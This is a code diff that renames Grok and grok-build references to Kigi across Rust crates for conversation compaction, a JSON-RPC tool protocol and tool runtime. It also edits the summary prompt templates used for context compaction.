 //! selection — shared by the intra `Steps` and `History` targets, so it stays
 //! neutral at the crate root rather than under `steps`), and [`reminder`]
-//! (active-agent-state `<system-reminder>` formatting shared by Grok chat and
-//! grok-build; hosts still own snapshotting and host-only sections).
+//! (active-agent-state `<system-reminder>` formatting shared by Kigi chat and
+//! kigi; hosts still own snapshotting and host-only sections).
 
 pub mod code_compaction;
 pub mod history;
@@ -57,7 +57,7 @@ pub mod token;
 /// 3. this constant
 pub use intra_compaction::DEFAULT_COMPACTION_MODEL_NAME;
 
-// grok-build's full-replace subsystem now lives under `code_compaction`;
+// kigi's full-replace subsystem now lives under `code_compaction`;
 // re-exported at the crate root so consumers keep a stable public API.
 pub use code_compaction::{
     CompactedHistoryParts, DEFAULT_AUTO_COMPACT_THRESHOLD_PERCENT, FailureKind,
diff --git a/crates/common/kigi-compaction/src/prompt.rs b/crates/common/kigi-compaction/src/prompt.rs
index 6ec41a5..61e9b56 100644
--- a/crates/common/kigi-compaction/src/prompt.rs
+++ b/crates/common/kigi-compaction/src/prompt.rs
@@ -6,7 +6,7 @@
 //!
 //! - steps prompt → [`crate::steps::format_compaction_prompt`]
 //! - history prompts → [`crate::history::prompt`]
-//! - grok-build summary prompt → [`crate::code_compaction::build_summary_prompt`]
+//! - kigi summary prompt → [`crate::code_compaction::build_summary_prompt`]
 
 /// System + user prompt pair for the compaction LLM call.
 #[derive(Debug, Clone)]
diff --git a/crates/common/kigi-compaction/src/reminder.rs b/crates/common/kigi-compaction/src/reminder.rs
index 68f1f02..e53710e 100644
--- a/crates/common/kigi-compaction/src/reminder.rs
+++ b/crates/common/kigi-compaction/src/reminder.rs
@@ -3,9 +3,9 @@
 //! Lives at the crate root rather than under a compaction-style submodule
 //! because it is consumed by *both* compaction styles and both harnesses:
 //!
-//! - Grok chat intra FullReplace ([`crate::intra_compaction`]) and inter
+//! - Kigi chat intra FullReplace ([`crate::intra_compaction`]) and inter
 //!   (appends after sampling via [`append_reminder_block`])
-//! - grok-build full-replace ([`crate::code_compaction`] assemble's
+//! - kigi full-replace ([`crate::code_compaction`] assemble's
 //!   `system_reminder`)
 //!
 //! **What lives here:** pure formatting of the three **common** active-agent
diff --git a/crates/common/kigi-compaction/src/sampler.rs b/crates/common/kigi-compaction/src/sampler.rs
index 7f6a9b5..28f4918 100644
--- a/crates/common/kigi-compaction/src/sampler.rs
+++ b/crates/common/kigi-compaction/src/sampler.rs
@@ -31,7 +31,7 @@ pub struct LlmCompactionOutput {
 /// [`Self::Start`], [`Self::EmptyResponse`]) so the shared retry policy can
 /// classify without string matching. [`Self::Other`] remains for samplers
 /// that only surface an opaque error; the orchestrator falls back to
-/// matching the literal messages produced by the Grok chat sampler —
+/// matching the literal messages produced by the Kigi chat sampler —
 /// keep those literals in sync (the `compaction_sample_error_to_intra*`
 /// tests guard the mapping).
 #[derive(Debug)]
@@ -110,7 +110,7 @@ impl CompactionSampleError {
 /// Interface for the LLM call that produces compaction summaries.
 ///
 /// Used by both intra-compaction (steps/history) and inter-compaction.
-/// Implemented by each harness's sampler adapter; grok-build wires its own
+/// Implemented by each harness's sampler adapter; kigi wires its own
 /// transport.
 ///
 /// Returns [`LlmCompactionOutput`] containing both response and thinking
diff --git a/crates/common/kigi-compaction/src/select.rs b/crates/common/kigi-compaction/src/select.rs
index 829b683..09c7ff4 100644
--- a/crates/common/kigi-compaction/src/select.rs
+++ b/crates/common/kigi-compaction/src/select.rs
@@ -10,7 +10,7 @@
 //! tool results in the next prompt, which the model API rejects with a 400.
 //!
 //! This is the harness-agnostic core: it operates over any slice of
-//! [`CompactionItem`], so both Grok chat (`GrokTurn`) and grok-build
+//! [`CompactionItem`], so both Kigi chat (`KigiTurn`) and kigi
 //! (`ConversationItem`) share one implementation.
 
 use crate::item::CompactionItem;
diff --git a/crates/common/kigi-compaction/src/templates/compaction_developer_prompt.txt b/crates/common/kigi-compaction/src/templates/compaction_developer_prompt.txt
index c88bad8..1694a2e 100644
--- a/crates/common/kigi-compaction/src/templates/compaction_developer_prompt.txt
+++ b/crates/common/kigi-compaction/src/templates/compaction_developer_prompt.txt
@@ -1,4 +1,4 @@
-Your task is to create a detailed summary of the Grok Chat conversation so far, paying close attention to the user's explicit requests and all previous actions as Grok (built by xAI).
+Your task is to create a detailed summary of the conversation so far, paying close attention to the user's explicit requests and all previous actions as Kigi.
 This summary should be thorough in capturing technical details, code patterns, architectural decisions, tool chains, and verification steps that would be essential for continuing development, research, or complex tasks without losing context.
 
 Important Clarification on Terminology (Broad File Definition):
@@ -9,12 +9,12 @@ Throughout this prompt, the term "file", "files", "file IDs", "file names", and
 - rendered image or content outputs
 - Any other file-like content, media objects, visual artifacts, or structured content blocks that have appeared in the conversation history (including but not limited to uploads, generations, render components, or persistent references).
 
-Only include information that is visible in the direct user-Grok conversation history (user messages + Grok's responses, reasoning, tool calls, and tool outputs). Do not include any internal team communication, chatroom messages, or multi-agent interactions.
+Only include information that is visible in the direct user-Kigi conversation history (user messages + Kigi's responses, reasoning, tool calls, and tool outputs). Do not include any internal team communication, chatroom messages, or multi-agent interactions.
 
 Use your internal thinking channel to chronologically analyze each message and section of the conversation before producing the final summary, and ensure you've covered all necessary points.
 During that analysis, thoroughly identify:
 - The user's explicit requests and evolving intents
-- Grok's approach to addressing them: reasoning steps, specific tool calls (including parallel calls), parameters, results, and how they were interpreted/synthesized (truth-seeking emphasis)
+- Kigi's approach to addressing them: reasoning steps, specific tool calls (including parallel calls), parameters, results, and how they were interpreted/synthesized (truth-seeking emphasis)
 - Key decisions, technical concepts, code patterns, and architectural choices
 - Specific details like:
   - file IDs, attachment IDs, image references/URLs, render_result IDs (if any)
@@ -33,7 +33,7 @@ Your final summary must contain the following sections, in order:
 
 1. Primary Request and Intent: Capture all of the user's explicit requests and intents in detail, including any evolution over the conversation.
 
-2. Key Technical Concepts: List all important technical concepts, technologies, frameworks, and Grok-specific tool patterns discussed.
+2. Key Technical Concepts: List all important technical concepts, technologies, frameworks, and Kigi-specific tool patterns discussed.
 
 3. Tool Usage & Verification: Summarize significant tool calls (code_execution REPL state, web_search, browse_page, X tools, etc.), key information retrieved/verified, cross-referencing steps, and how they influenced decisions or responses.
 
diff --git a/crates/common/kigi-compaction/src/templates/compaction_user_prompt.txt b/crates/common/kigi-compaction/src/templates/compaction_user_prompt.txt
index c88bad8..1694a2e 100644
--- a/crates/common/kigi-compaction/src/templates/compaction_user_prompt.txt
+++ b/crates/common/kigi-compaction/src/templates/compaction_user_prompt.txt
@@ -1,4 +1,4 @@
-Your task is to create a detailed summary of the Grok Chat conversation so far, paying close attention to the user's explicit requests and all previous actions as Grok (built by xAI).
+Your task is to create a detailed summary of the conversation so far, paying close attention to the user's explicit requests and all previous actions as Kigi.
 This summary should be thorough in capturing technical details, code patterns, architectural decisions, tool chains, and verification steps that would be essential for continuing development, research, or complex tasks without losing context.
 
 Important Clarification on Terminology (Broad File Definition):
@@ -9,12 +9,12 @@ Throughout this prompt, the term "file", "files", "file IDs", "file names", and
 - rendered image or content outputs
 - Any other file-like content, media objects, visual artifacts, or structured content blocks that have appeared in the conversation history (including but not limited to uploads, generations, render components, or persistent references).
 
-Only include information that is visible in the direct user-Grok conversation history (user messages + Grok's responses, reasoning, tool calls, and tool outputs). Do not include any internal team communication, chatroom messages, or multi-agent interactions.
+Only include information that is visible in the direct user-Kigi conversation history (user messages + Kigi's responses, reasoning, tool calls, and tool outputs). Do not include any internal team communication, chatroom messages, or multi-agent interactions.
 
 Use your internal thinking channel to chronologically analyze each message and section of the conversation before producing the final summary, and ensure you've covered all necessary points.
 During that analysis, thoroughly identify:
 - The user's explicit requests and evolving intents
-- Grok's approach to addressing them: reasoning steps, specific tool calls (including parallel calls), parameters, results, and how they were interpreted/synthesized (truth-seeking emphasis)
+- Kigi's approach to addressing them: reasoning steps, specific tool calls (including parallel calls), parameters, results, and how they were interpreted/synthesized (truth-seeking emphasis)
 - Key decisions, technical concepts, code patterns, and architectural choices
 - Specific details like:
   - file IDs, attachment IDs, image references/URLs, render_result IDs (if any)
@@ -33,7 +33,7 @@ Your final summary must contain the following sections, in order:
 
 1. Primary Request and Intent: Capture all of the user's explicit requests and intents in detail, including any evolution over the conversation.
 
-2. Key Technical Concepts: List all important technical concepts, technologies, frameworks, and Grok-specific tool patterns discussed.
+2. Key Technical Concepts: List all important technical concepts, technologies, frameworks, and Kigi-specific tool patterns discussed.
 
 3. Tool Usage & Verification: Summarize significant tool calls (code_execution REPL state, web_search, browse_page, X tools, etc.), key information retrieved/verified, cross-referencing steps, and how they influenced decisions or responses.
 
diff --git a/crates/common/kigi-compaction/src/token.rs b/crates/common/kigi-compaction/src/token.rs
index f9aba71..cfd3bfd 100644
--- a/crates/common/kigi-compaction/src/token.rs
+++ b/crates/common/kigi-compaction/src/token.rs
@@ -3,9 +3,9 @@
 //! Budgeting math in the shared engine needs a *trusted* token count, but the
 //! two harnesses disagree on how to produce one:
 //!
-//! - Grok chat has a real tokenizer (`TextTokenizer` / `ImageTokenizer`) and
-//!   counts whole turns via `GrokTurn::get_num_tokens`.
-//! - grok-build estimates with `bytes / 4`.
+//! - Kigi chat has a real tokenizer (`TextTokenizer` / `ImageTokenizer`) and
+//!   counts whole turns via `KigiTurn::get_num_tokens`.
+//! - kigi estimates with `bytes / 4`.
 //!
 //! Rather than bake either policy into the shared crate, callers supply an
 //! [`ItemTokenCounter`]. This keeps the engine deterministic and testable
@@ -13,7 +13,7 @@
 //!
 //! There is intentionally **no** blanket `Arc` forwarding here: each harness
 //! implements the counter directly for the item type its algorithms run on
-//! (Grok chat: `ItemTokenCounter<Arc<GrokTurn>>`), so exactly one mechanism
+//! (Kigi chat: `ItemTokenCounter<Arc<KigiTurn>>`), so exactly one mechanism
 //! is in play.
 
 /// Counts tokens for a single conversation item on behalf of the shared
diff --git a/crates/common/kigi-tool-protocol/src/envelope.rs b/crates/common/kigi-tool-protocol/src/envelope.rs
index a8a5be7..a2da6b3 100644
--- a/crates/common/kigi-tool-protocol/src/envelope.rs
+++ b/crates/common/kigi-tool-protocol/src/envelope.rs
@@ -1,4 +1,4 @@
-//! JSON-RPC 2.0 envelope types with the Grok `session_id` / `seq`
+//! JSON-RPC 2.0 envelope types with the Kigi `session_id` / `seq`
 //! extensions.
 //!
 //! Two distinct id concepts coexist in this crate:
@@ -116,7 +116,7 @@ impl fmt::Display for JsonRpcId {
 pub struct JsonRpcRequest<P = serde_json::Value> {
     pub jsonrpc: JsonRpcVersion,
     pub id: JsonRpcId,
-    /// Grok extension: routing/sanity-check session id.
+    /// Kigi extension: routing/sanity-check session id.
     #[serde(default, skip_serializing_if = "Option::is_none")]
     pub session_id: Option<SessionId>,
     pub method: String,
diff --git a/crates/common/kigi-tool-protocol/src/error_codes.rs b/crates/common/kigi-tool-protocol/src/error_codes.rs
index fbba75a..79746f0 100644
--- a/crates/common/kigi-tool-protocol/src/error_codes.rs
+++ b/crates/common/kigi-tool-protocol/src/error_codes.rs
@@ -2,7 +2,7 @@
 //!
 //! Receivers SHOULD switch on `data.code` (the snake_case string) rather
 //! than the numeric JSON-RPC `error.code`. The numeric is the JSON-RPC
-//! envelope code; the string is the Grok stable identifier.
+//! envelope code; the string is the Kigi stable identifier.
 //!
 //! Implemented as a `&'static [(i32, &'static str)]` table; the table is
 //! a small fixed set so a linear scan is faster than any
diff --git a/crates/common/kigi-tool-protocol/src/session_event.rs b/crates/common/kigi-tool-protocol/src/session_event.rs
index 3aa1014..5c2bd04 100644
--- a/crates/common/kigi-tool-protocol/src/session_event.rs
+++ b/crates/common/kigi-tool-protocol/src/session_event.rs
@@ -104,13 +104,13 @@ mod tests {
     fn turn_started_round_trip() {
         let event = SessionEvent::TurnStarted {
             turn_number: 1,
-            model_id: "grok-3".into(),
+            model_id: "kigi-3".into(),
             yolo_mode: true,
         };
         let v = serde_json::to_value(&event).unwrap();
         assert_eq!(v["event_type"], "turn_started");
         assert_eq!(v["turn_number"], 1);
-        assert_eq!(v["model_id"], "grok-3");
+        assert_eq!(v["model_id"], "kigi-3");
         assert_eq!(v["yolo_mode"], true);
         let back: SessionEvent = serde_json::from_value(v).unwrap();
         assert_eq!(back, event);
@@ -121,14 +121,14 @@ mod tests {
         let v = json!({
             "event_type": "turn_started",
             "turn_number": 5,
-            "model_id": "grok-3",
+            "model_id": "kigi-3",
         });
         let event: SessionEvent = serde_json::from_value(v).unwrap();
         assert_eq!(
             event,
             SessionEvent::TurnStarted {
                 turn_number: 5,
-                model_id: "grok-3".into(),
+                model_id: "kigi-3".into(),
                 yolo_mode: false,
             }
         );
@@ -141,7 +141,7 @@ mod tests {
             outcome: TurnHookOutcome::Completed,
             duration_ms: 2500,
             tool_call_count: 7,
-            model_id: "grok-3".into(),
+            model_id: "kigi-3".into(),
         };
         let v = serde_json::to_value(&event).unwrap();
         assert_eq!(v["event_type"], "turn_ended");
@@ -342,7 +342,7 @@ mod tests {
         let v = json!({
             "event_type": "turn_started",
             "turn_number": 1,
-            "model_id": "grok-3",
+            "model_id": "kigi-3",
             "future_field": "should be ignored",
         });
         let event: SessionEvent = serde_json::from_value(v).unwrap();
@@ -350,7 +350,7 @@ mod tests {
             event,
             SessionEvent::TurnStarted {
                 turn_number: 1,
-                model_id: "grok-3".into(),
+                model_id: "kigi-3".into(),
                 yolo_mode: false,
             }
         );
@@ -365,7 +365,7 @@ mod tests {
             "turn_number": 1,
             "duration_ms": 100,
             "tool_call_count": 0,
-            "model_id": "grok-3",
+            "model_id": "kigi-3",
             // missing "outcome"
         });
         assert!(serde_json::from_value::<SessionEvent>(v).is_err());
diff --git a/crates/common/kigi-tool-protocol/src/turn_hook.rs b/crates/common/kigi-tool-protocol/src/turn_hook.rs
index e812bc8..76e222a 100644
--- a/crates/common/kigi-tool-protocol/src/turn_hook.rs
+++ b/crates/common/kigi-tool-protocol/src/turn_hook.rs
@@ -37,7 +37,7 @@ fn default_schema_version() -> String {
 pub struct BeforeTurnPayload {
     /// Monotonically increasing turn counter within the session.
     pub turn_number: u64,
-    /// Model being used for this turn (e.g. "grok-3").
+    /// Model being used for this turn (e.g. "kigi-3").
     pub model_id: String,
     /// Whether the session is in YOLO / auto-approve mode.
     #[serde(default)]
@@ -252,7 +252,7 @@ mod tests {
     fn before_turn_round_trip() {
         let payload = BeforeTurnPayload {
             turn_number: 42,
-            model_id: "grok-3".to_string(),
+            model_id: "kigi-3".to_string(),
             yolo_mode: true,
             conversation_message_count: 9,
             session_relationship: "subagent".to_string(),
@@ -264,7 +264,7 @@ mod tests {
             serialized,
             json!({
                 "turn_number": 42,
-                "model_id": "grok-3",
+                "model_id": "kigi-3",
                 "yolo_mode": true,
                 "conversation_message_count": 9,
                 "session_relationship": "subagent",
@@ -280,7 +280,7 @@ mod tests {
     fn before_turn_yolo_mode_defaults_false() {
         let json = json!({
             "turn_number": 1,
-            "model_id": "grok-3",
+            "model_id": "kigi-3",
         });
         let payload: BeforeTurnPayload = serde_json::from_value(json).unwrap();
         assert!(!payload.yolo_mode);
@@ -295,7 +295,7 @@ mod tests {
             outcome: TurnHookOutcome::Completed,
             duration_ms: 1500,
             tool_call_count: 3,
-            model_id: "grok-3".to_string(),
+            model_id: "kigi-3".to_string(),
             written_repo_paths: vec!["outputs/result.md".to_string()],
             cancellation_category: None,
             cancellation_context: None,
@@ -309,7 +309,7 @@ mod tests {
                 "outcome": "completed",
                 "duration_ms": 1500,
                 "tool_call_count": 3,
-                "model_id": "grok-3",
+                "model_id": "kigi-3",
                 "written_repo_paths": ["outputs/result.md"],
             })
         );
@@ -325,7 +325,7 @@ mod tests {
             "outcome": "completed",
             "duration_ms": 10,
             "tool_call_count": 0,
-            "model_id": "grok-3",
+            "model_id": "kigi-3",
         });
         let payload: AfterTurnPayload = serde_json::from_value(json).unwrap();
         assert!(payload.written_repo_paths.is_empty());
@@ -338,7 +338,7 @@ mod tests {
             outcome: TurnHookOutcome::Cancelled,
             duration_ms: 200,
             tool_call_count: 1,
-            model_id: "grok-4".to_string(),
+            model_id: "kigi-4".to_string(),
             written_repo_paths: vec![],
             cancellation_category: Some("doom_loop_repetition".to_string()),
             cancellation_context: Some(json!({ "reason": "repetition" })),
@@ -410,7 +410,7 @@ mod tests {
             "turn_number": 1,
             "duration_ms": 100,
             "tool_call_count": 0,
-            "model_id": "grok-3",
+            "model_id": "kigi-3",
         });
         assert!(serde_json::from_value::<AfterTurnPayload>(json).is_err());
     }
@@ -419,7 +419,7 @@ mod tests {
     fn extra_fields_ignored() {
         let json = json!({
             "turn_number": 1,
-            "model_id": "grok-3",
+            "model_id": "kigi-3",
             "future_field": "should be ignored",
         });
         let payload: BeforeTurnPayload = serde_json::from_value(json).unwrap();
@@ -430,7 +430,7 @@ mod tests {
     fn before_turn_yolo_false_serialized() {
         let payload = BeforeTurnPayload {
             turn_number: 1,
-            model_id: "grok-3".to_string(),
+            model_id: "kigi-3".to_string(),
             yolo_mode: false,
             conversation_message_count: 0,
             session_relationship: "primary".to_string(),
@@ -449,7 +449,7 @@ mod tests {
     fn turn_hook_request_before_round_trip() {
         let req = TurnHookRequest::Before(BeforeTurnPayload {
             turn_number: 7,
-            model_id: "grok-3".to_string(),
+            model_id: "kigi-3".to_string(),
             yolo_mode: true,
             conversation_message_count: 0,
             session_relationship: "primary".to_string(),
@@ -461,7 +461,7 @@ mod tests {
             json!({
                 "phase": "before",
                 "turn_number": 7,
-                "model_id": "grok-3",
+                "model_id": "kigi-3",
                 "yolo_mode": true,
                 "conversation_message_count": 0,
                 "session_relationship": "primary",
@@ -479,7 +479,7 @@ mod tests {
             outcome: TurnHookOutcome::Completed,
             duration_ms: 10,
             tool_call_count: 2,
-            model_id: "grok-3".to_string(),
+            model_id: "kigi-3".to_string(),
             written_repo_paths: Vec::new(),
             cancellation_category: None,
             cancellation_context: None,
@@ -605,7 +605,7 @@ mod tests {
     fn before_turn_legacy_payload_defaults_new_fields() {
         let json = json!({
             "turn_number": 3,
-            "model_id": "grok-3",
+            "model_id": "kigi-3",
             "yolo_mode": true,
         });
         let payload: BeforeTurnPayload = serde_json::from_value(json).unwrap();
@@ -623,7 +623,7 @@ mod tests {
             "outcome": "completed",
             "duration_ms": 10,
             "tool_call_count": 0,
-            "model_id": "grok-3",
+            "model_id": "kigi-3",
         });
         let payload: AfterTurnPayload = serde_json::from_value(json).unwrap();
         assert_eq!(payload.cancellation_category, None);
diff --git a/crates/common/kigi-tool-protocol/tests/identifier_validation.rs b/crates/common/kigi-tool-protocol/tests/identifier_validation.rs
index eaa9b0e..34d1f8b 100644
--- a/crates/common/kigi-tool-protocol/tests/identifier_validation.rs
+++ b/crates/common/kigi-tool-protocol/tests/identifier_validation.rs
@@ -12,8 +12,8 @@ fn tool_id_accepts_bare_and_namespaced_names() {
     let bare = ToolId::new("read_file").unwrap();
     assert_eq!(bare.as_str(), "read_file");
 
-    let namespaced = ToolId::new("GrokBuild:read_file").unwrap();
-    assert_eq!(namespaced.as_str(), "GrokBuild:read_file");
+    let namespaced = ToolId::new("Kigi:read_file").unwrap();
+    assert_eq!(namespaced.as_str(), "Kigi:read_file");
 
     assert_eq!(
         ToolId::from_str("github:list_repos").unwrap().as_str(),
@@ -81,8 +81,8 @@ fn tool_id_rejects_empty_segments_around_separator() {
 
 #[test]
 fn tool_id_try_from_string_works() {
-    let id: ToolId = "GrokBuild:read_file".to_owned().try_into().unwrap();
-    assert_eq!(id.as_str(), "GrokBuild:read_file");
+    let id: ToolId = "Kigi:read_file".to_owned().try_into().unwrap();
+    assert_eq!(id.as_str(), "Kigi:read_file");
 }
 
 #[test]
@@ -116,15 +116,15 @@ fn server_id_synthesis_starts_with_auto_prefix() {
     let synth = ServerId::synthesize_for_tool(&conn, &bare);
     assert_eq!(synth.as_str(), "auto:tool:read_file");
 
-    let namespaced = ToolId::new("GrokBuild:read_file").unwrap();
+    let namespaced = ToolId::new("Kigi:read_file").unwrap();
     let synth_ns = ServerId::synthesize_for_tool(&conn, &namespaced);
-    assert_eq!(synth_ns.as_str(), "auto:tool:GrokBuild:read_file");
+    assert_eq!(synth_ns.as_str(), "auto:tool:Kigi:read_file");
 }
 
 #[test]
 fn server_id_synthesis_is_deterministic() {
     let conn = ConnectionId::new("conn-abc").unwrap();
-    let tool = ToolId::new("GrokBuild:read_file").unwrap();
+    let tool = ToolId::new("Kigi:read_file").unwrap();
     let a = ServerId::synthesize_for_tool(&conn, &tool);
     let b = ServerId::synthesize_for_tool(&conn, &tool);
     assert_eq!(
diff --git a/crates/common/kigi-tool-protocol/tests/jsonrpc_envelope.rs b/crates/common/kigi-tool-protocol/tests/jsonrpc_envelope.rs
index 451e665..3a4b10d 100644
--- a/crates/common/kigi-tool-protocol/tests/jsonrpc_envelope.rs
+++ b/crates/common/kigi-tool-protocol/tests/jsonrpc_envelope.rs
@@ -217,7 +217,7 @@ fn full_call_envelope_serialises_to_expected_shape() {
         method: "tool.call".to_owned(),
         params: ToolCallParams {
             tool_call_id: ToolCallId::new("call_xyz").unwrap(),
-            tool_id: ToolId::new("GrokBuild:read_file").unwrap(),
+            tool_id: ToolId::new("Kigi:read_file").unwrap(),
             arguments: json!({"path": "/etc/hosts"}),
             deadline_ms: None,
             behavior_version: None,
@@ -230,7 +230,7 @@ fn full_call_envelope_serialises_to_expected_shape() {
     assert_eq!(v["id"], json!("req-9c4f"));
     assert_eq!(v["session_id"], json!("sess_abc"));
     assert_eq!(v["method"], json!("tool.call"));
-    assert_eq!(v["params"]["tool_id"], json!("GrokBuild:read_file"));
+    assert_eq!(v["params"]["tool_id"], json!("Kigi:read_file"));
     assert_eq!(v["params"]["tool_call_id"], json!("call_xyz"));
 }
 
diff --git a/crates/common/kigi-tool-protocol/tests/serde_roundtrip.rs b/crates/common/kigi-tool-protocol/tests/serde_roundtrip.rs
index 7dabff6..c6852d8 100644
--- a/crates/common/kigi-tool-protocol/tests/serde_roundtrip.rs
+++ b/crates/common/kigi-tool-protocol/tests/serde_roundtrip.rs
@@ -45,7 +45,7 @@ fn user() -> UserId {
 }
 
 fn tool() -> ToolId {
-    ToolId::new("GrokBuild:read_file").unwrap()
+    ToolId::new("Kigi:read_file").unwrap()
 }
 
 fn server() -> ServerId {
@@ -60,7 +60,7 @@ fn call_id() -> ToolCallId {
 fn id_types_round_trip_as_bare_strings() {
     assert_eq!(roundtrip(&session()), json!("sess_abc"));
     assert_eq!(roundtrip(&user()), json!("user_123"));
-    assert_eq!(roundtrip(&tool()), json!("GrokBuild:read_file"));
+    assert_eq!(roundtrip(&tool()), json!("Kigi:read_file"));
     assert_eq!(roundtrip(&server()), json!("srv-uuidv7"));
     assert_eq!(
         roundtrip(&ConnectionId::new("conn_42").unwrap()),
@@ -257,7 +257,7 @@ fn tool_registration_round_trips_with_and_without_server_id() {
         sessions: Some(vec![session()]),
         user_id: user(),
         server_id: None,
-        description: sample_description("read_file", Some("GrokBuild")),
+        description: sample_description("read_file", Some("Kigi")),
         input_schema: Some(json!({"type": "object"})),
         capabilities: None,
         notification_schemas: None,
@@ -392,7 +392,7 @@ fn registration_outcome_variants_round_trip() {
     for (outcome, expected_tag) in cases {
         let json = roundtrip(&outcome);
         assert_eq!(json["outcome"], json!(expected_tag));
-        assert_eq!(json["tool_id"], json!("GrokBuild:read_file"));
+        assert_eq!(json["tool_id"], json!("Kigi:read_file"));
     }
 }
 
@@ -847,7 +847,7 @@ fn tool_registration_round_trips() {
         sessions: Some(vec![session()]),
         user_id: user(),
         server_id: None,
-        description: ToolDescription::new("read_file", "d").with_namespace("GrokBuild"),
+        description: ToolDescription::new("read_file", "d").with_namespace("Kigi"),
         input_schema: None,
         capabilities: None,
         notification_schemas: None,
@@ -936,13 +936,13 @@ fn session_lifecycle_payloads_round_trip() {
     let bind_result = SessionBindServerResult {
         tools: vec![ToolDescription::new("my_tool", "desc")],
         binary_version: Some("1.0.15".to_owned()),
-        unserved_tool_ids: vec!["GrokBuild:monitor".to_owned()],
+        unserved_tool_ids: vec!["Kigi:monitor".to_owned()],
         resolve_error: Some("missing_tool_config: no explicit tool configuration".to_owned()),
     };
     let v = roundtrip(&bind_result);
     assert_eq!(v["tools"].as_array().unwrap().len(), 1);
     assert_eq!(v["binary_version"], json!("1.0.15"));
-    assert_eq!(v["unserved_tool_ids"], json!(["GrokBuild:monitor"]));
+    assert_eq!(v["unserved_tool_ids"], json!(["Kigi:monitor"]));
     assert_eq!(
         v["resolve_error"],
         json!("missing_tool_config: no explicit tool configuration")
@@ -1140,7 +1140,7 @@ fn hook_frame_round_trips_with_optional_fields() {
 fn session_event_turn_started_round_trips_via_re_export() {
     let event = SessionEvent::TurnStarted {
         turn_number: 10,
-        model_id: "grok-3".into(),
+        model_id: "kigi-3".into(),
         yolo_mode: true,
     };
     let v = roundtrip(&event);
@@ -1196,8 +1196,8 @@ fn tools_changed_round_trips_with_per_array_skip_when_empty() {
         updated: vec![tool()],
     };
     let v = roundtrip(&populated);
-    assert_eq!(v["added"][0], json!("GrokBuild:read_file"));
-    assert_eq!(v["updated"][0], json!("GrokBuild:read_file"));
+    assert_eq!(v["added"][0], json!("Kigi:read_file"));
+    assert_eq!(v["updated"][0], json!("Kigi:read_file"));
     assert!(!v.as_object().unwrap().contains_key("removed"));
 }
 
@@ -1479,12 +1479,12 @@ fn tool_error_wire_render_limited_omits_card_id_when_none() {
 #[test]
 fn tool_error_wire_terminal_error_round_trips_with_string_code() {
     let err = ToolErrorWire::TerminalError {
-        tool_id: ToolId::new("GrokBuild:bash").unwrap(),
+        tool_id: ToolId::new("Kigi:bash").unwrap(),
         message: "exit 137".to_owned(),
     };
     let v = roundtrip(&err);
     assert_eq!(v["code"], json!("terminal_error"));
-    assert_eq!(v["tool_id"], json!("GrokBuild:bash"));
+    assert_eq!(v["tool_id"], json!("Kigi:bash"));
     assert_eq!(v["message"], json!("exit 137"));
 }
 
diff --git a/crates/common/kigi-tool-protocol/tests/tool_id_derivation.rs b/crates/common/kigi-tool-protocol/tests/tool_id_derivation.rs
index 86cf0e1..a967cdd 100644
--- a/crates/common/kigi-tool-protocol/tests/tool_id_derivation.rs
+++ b/crates/common/kigi-tool-protocol/tests/tool_id_derivation.rs
@@ -26,10 +26,8 @@ fn bare_name_derives_to_tool_id_without_namespace() {
 
 #[test]
 fn namespaced_name_derives_to_namespaced_tool_id() {
-    let derived = entry("read_file", Some("GrokBuild"))
-        .derive_tool_id()
-        .unwrap();
-    assert_eq!(derived, ToolId::new("GrokBuild:read_file").unwrap());
+    let derived = entry("read_file", Some("Kigi")).derive_tool_id().unwrap();
+    assert_eq!(derived, ToolId::new("Kigi:read_file").unwrap());
 }
 
 #[test]
@@ -58,9 +56,9 @@ fn empty_name_yields_empty_id_error() {
 #[test]
 fn duplicate_derivations_in_a_batch_are_detectable() {
     let batch = [
-        entry("read_file", Some("GrokBuild")),
-        entry("write_file", Some("GrokBuild")),
-        entry("read_file", Some("GrokBuild")),
+        entry("read_file", Some("Kigi")),
+        entry("write_file", Some("Kigi")),
+        entry("read_file", Some("Kigi")),
     ];
 
     let mut seen = std::collections::HashMap::new();
@@ -76,15 +74,13 @@ fn duplicate_derivations_in_a_batch_are_detectable() {
     }
     assert_eq!(duplicates.len(), 1, "exactly one duplicate id expected");
     let (id, indices) = &duplicates[0];
-    assert_eq!(id, &ToolId::new("GrokBuild:read_file").unwrap());
+    assert_eq!(id, &ToolId::new("Kigi:read_file").unwrap());
     assert_eq!(indices, &vec![0, 2]);
 }
 
 #[test]
 fn derivation_does_not_collide_across_namespaces() {
-    let a = entry("read_file", Some("GrokBuild"))
-        .derive_tool_id()
-        .unwrap();
+    let a = entry("read_file", Some("Kigi")).derive_tool_id().unwrap();
     let b = entry("read_file", Some("github")).derive_tool_id().unwrap();
     let c = entry("read_file", None).derive_tool_id().unwrap();
     assert_ne!(a, b);
diff --git a/crates/common/kigi-tool-runtime/src/notification.rs b/crates/common/kigi-tool-runtime/src/notification.rs
index c2d6a7d..2e8c6b3 100644
--- a/crates/common/kigi-tool-runtime/src/notification.rs
+++ b/crates/common/kigi-tool-runtime/src/notification.rs
@@ -266,7 +266,7 @@ pub struct MonitorEvent {
     pub raw_text: String,
 }
 
-/// Snapshot of a background task's state. Identical shape to the Grok
+/// Snapshot of a background task's state. Identical shape to the Kigi
 /// Build `TaskSnapshot` so subscribers can decode without per-source
 /// adapters.
 #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
diff --git a/crates/common/kigi-tool-runtime/src/render.rs b/crates/common/kigi-tool-runtime/src/render.rs
index 0c386db..822fa7d 100644
--- a/crates/common/kigi-tool-runtime/src/render.rs
+++ b/crates/common/kigi-tool-runtime/src/render.rs
@@ -199,7 +199,7 @@ pub fn extract_content_blocks(value: &Value) -> Vec<ContentBlock> {
     }
 
     if let Some(obj) = value.as_object() {
-        // grok-build `ToolRunResult`: the model sees `prompt_text` (reminders
+        // kigi `ToolRunResult`: the model sees `prompt_text` (reminders
         // appended), never a JSON dump of the structured result.
         if let Some(Value::String(prompt_text)) = obj.get("prompt_text")
             && obj.contains_key("output")
diff --git a/crates/common/kigi-tool-runtime/src/tool.rs b/crates/common/kigi-tool-runtime/src/tool.rs
index 347fdc2..647b944 100644
--- a/crates/common/kigi-tool-runtime/src/tool.rs
+++ b/crates/common/kigi-tool-runtime/src/tool.rs
@@ -157,7 +157,7 @@ pub enum ToolProgress {
 /// across the wire boundary without re-encoding.
 ///
 /// The `Image` variant carries optional metadata fields (`media_id`,
-/// `filename`, `path`, `metadata`) that the Grok SLOP converter uses to
+/// `filename`, `path`, `metadata`) that the Kigi SLOP converter uses to
 /// build `Media` objects with the right identifiers and file paths. Tool
 /// authors populate these in their `ToolOutput::model_output()` impls so
